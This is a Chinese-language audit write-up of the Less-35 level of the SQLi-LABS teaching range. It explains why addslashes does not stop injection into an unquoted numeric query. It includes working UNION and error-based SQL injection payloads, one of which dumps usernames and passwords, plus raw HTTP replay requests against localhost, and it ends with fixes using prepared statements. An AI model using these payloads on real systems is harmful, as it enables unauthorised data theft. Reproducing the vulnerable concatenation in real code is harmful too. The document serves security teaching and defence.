sqli-labs-Less-35-代码审计报告

13次阅读
没有评论

Less-35 审计报告:数字型注入(addslashes 失效场景)

1. 关卡概述

项目 内容
关卡名称 Less-35 why care for addslashes()
源码路径 Less-35/index.php
漏洞类型 SQL 注入 – 数字型联合查询/报错注入(addslashes 对无引号拼接无效)
注入点参数 GET /Less-35/?id=
报错/盲注 报错回显(print_r(mysql_error()),第 52 行)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-35/index.php

// 第 17~21 行:addslashes 过滤
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

// 第 26 行:输入经过 addslashes
$id=check_addslashes($_GET['id']);

// 第 36 行:连接字符集 GBK(本关无用,因无引号闭合)
mysql_query("SET NAMES gbk");

// 第 37 行:数字型拼接 —— 没有引号!
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

// 第 52 行:报错回显
print_r(mysql_error());

3. 漏洞分析

  • 防御设计:addslashes() 转义 '、"、\、NUL——但第 37 行 WHERE id=$id 是数字型拼接,无任何引号包裹。
  • 失效原理(核心):addslashes 只对引号和反斜杠做处理;payload 1 union select ...-- - 中不含需要转义的字符,过滤完全不起作用。
  • 本关意义:演示"为什么过滤了引号仍然不安全"——数字型注入根本不依赖引号。
  • 回显:第 52 行报错回显;UNION 结果也直接显示。

4. 利用方式

步骤一:确认注入(无引号,直接闭合)

  • ?id=1 and 1=1 正常、?id=1 and 1=2 无结果 → 注入点确认。

步骤二:联合注入(核心 payload)

-1 union select 1,2,database()-- -

拼接后:

SELECT * FROM users WHERE id=-1 union select 1,2,database()-- - LIMIT 0,1
  • 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入

-1 and extractvalue(1,concat(0x7e,database()))-- -

回显 XPATH syntax error: '~security'。

步骤四:提取其它数据

-1 union select 1,2,group_concat(username,0x3a,password) from users-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-35/?id=-1%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-35/?id=-1%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

空格编码为 %20;本关无需宽字节技巧。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

  • 转义函数 ≠ 防注入;数字型参数必须 ctype_digit()/is_numeric() 校验;
  • 关闭 mysql_error() 回显;数据库最小权限;
  • 升级 PHP 7+ / 8+,移除 mysql_*。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0